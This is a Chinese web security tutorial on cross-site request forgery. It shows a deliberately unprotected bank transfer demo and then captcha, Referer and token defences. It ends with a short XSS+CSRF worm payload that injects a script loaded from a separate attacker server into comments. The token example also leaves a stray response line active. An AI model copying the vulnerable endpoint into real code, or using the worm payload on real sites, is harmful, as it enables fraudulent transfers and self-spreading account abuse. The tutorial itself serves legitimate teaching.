# 二.CSRF

前言

CSRF 中文名为跨站请求伪造。原理即使攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑

# 1 跨站请求伪造

Cross Site Request Forgery 跨站请求伪造

用户 A 登录银行网站,登录成功后会设置 cookie 黑客诱导用户 A 登录到黑客的站点,然后会返回一个页面 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站 bank.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>我的银行</title>
    <link
      rel="stylesheet"
      href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css"
    />
  </head>

  <body>
    <div class="container">
      <div class="row">
        <div class="col-md-12">
          <div class="panel panel-default">
            <div class="panel-heading">
              <p>
                用户名
                <span id="username"></span>
              </p>
              <p>
                余额
                <span id="money"></span>
              </p>
            </div>
            <div class="panel-body">
              <form onsubmit="transfer(event)">
                <div class="form-group">
                  <label for="target">转账用户</label>
                  <input
                    id="target"
                    class="form-control"
                    placeholder="请输入的用户名"
                  />
                </div>
                <div class="form-group">
                  <label for="amount">金额</label>
                  <input
                    id="amount"
                    class="form-control"
                    placeholder="请输入转账的金额"
                  />
                </div>
                <div class="form-group">
                  <input type="submit" class="btn btn-primary" />
                </div>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
      $(function() {
        $.get("/api/user").then((data) => {
          console.log(data)
          console.log(data.user.username)
          if (data.code == 0) {
            $("#username").html(data.user.username)
            $("#money").html(data.user.money)
          } else {
            alert("用户未登录")
            location.href = "/login.html"
          }
        })
      })
      function transfer(event) {
        event.preventDefault()
        let target = $("#target").val()
        let amount = $("#amount").val()
        $.post("/api/transfer", { target, amount }).then((data) => {
          if (data.code == 0) {
            alert("转账成功")
            location.reload()
          } else {
            alert("用户未登录")
            location.href = "/login.html"
          }
        })
      }
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
app.get("/api/user", function(req, res) {
  let { username } = userSessions[req.cookies.sessionId]
  if (username) {
    let user
    for (let i = 0; i < users.length; i++) {
      if (username == users[i].username) {
        user = users[i]
        break
      }
    }
    res.json({ code: 0, user })
  } else {
    res.json({ code: 1, error: "用户没有登录" })
  }
})

app.post("/api/transfer", function(req, res) {
  let { target, amount } = req.body
  amount = isNaN(amount) ? 0 : Number(amount)
  let { username } = userSessions[req.cookies.sessionId]
  if (username) {
    let user
    for (let i = 0; i < users.length; i++) {
      if (username == users[i].username) {
        users[i].money -= amount
      } else if (target == users[i].username) {
        users[i].money += amount
      }
    }
    res.json({ code: 0 })
  } else {
    res.json({ code: 1, error: "用户没有登录" })
  }
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 2.防御

  • 用户不知情 验证码 影响用户体验
  • 跨站请求 使用 refer 验证 不可靠
  • 参数伪造 token 最主流的防御 CSRF

# 2.1 验证码

server.js

var svgCaptcha = require("svg-captcha")
app.get("/api/captcha", function(req, res) {
  let session = userSessions[req.cookies.sessionId]
  if (session) {
    var codeConfig = {
      size: 5, // 验证码长度
      ignoreChars: "0o1i", // 验证码字符中排除 0o1i
      noise: 2, // 干扰线条的数量
      height: 44,
    }
    var captcha = svgCaptcha.create(codeConfig)
    session.captcha = captcha.text.toLowerCase() //存 session 用于验证接口获取文字码
    res.send({ code: 0, captcha: captcha.data })
  } else {
    res.json({ code: 1, data: "没有该用户" })
  }
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

bank.html

<div class="form-group">
    <label for="captcha" id="captcha"></label>
    <input id="captcha" class="form-control" placeholder="请输入验证码">
</div>

$.get('/api/captcha').then(data => {
    if (data.code == 0) {
        $('#captcha').html(data.captcha);
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13

# 2.2 refer 验证

let referer = req.headers["referer"]
if (/^https?:\/\/localhost:3000/.test(referer)) {
} else {
  res.json({ code: 1, error: "referer不正确" })
}
1
2
3
4
5

# 2.3 token 验证

bank.html

function getClientToken() {
  let result = document.cookie.match(/token=([^;]+)/)
  return result ? result[1] : ""
}
function transfer(event) {
  event.preventDefault()
  let target = $("#target").val()
  let amount = $("#amount").val()
  let captcha = $("#captcha").val()
  $.post("/api/transfer", {
    target,
    amount,
    captcha,
    clientToken: getClientToken(),
  }).then((data) => {
    if (data.code == 0) {
      alert("转账成功")
      location.reload()
    } else {
      alert("用户未登录")
      location.href = "/login.html"
    }
  })
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

server.js

app.post("/api/transfer", function(req, res) {
  // let referer = req.headers['referer'];
  //if (/^https?:\/\/localhost:3000/.test(referer)) {
  let { target, amount, clientToken, captcha } = req.body
  amount = isNaN(amount) ? 0 : Number(amount)
  let { username, token } = userSessions[req.cookies.sessionId]
  if (username) {
    if (clientToken == token) {
      let user
      for (let i = 0; i < users.length; i++) {
        if (username == users[i].username) {
          users[i].money -= amount
        } else if (target == users[i].username) {
          users[i].money += amount
        }
      }
      res.json({ code: 0 })
    } else {
      res.json({ code: 1, error: "违法操作" })
    }
  } else {
    res.json({ code: 1, error: "用户没有登录" })
  }
  //} else {
  res.json({ code: 1, error: "referer 不正确" })
  //}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 2.4 xss+csrf(蠕虫)

不断传播的 xss+csrf 攻击 worm.js

const attack = '<script src="http://localhost:3001/worm.js"></script>'
\$.post("/api/comments", { content: "haha" + attack })
1
2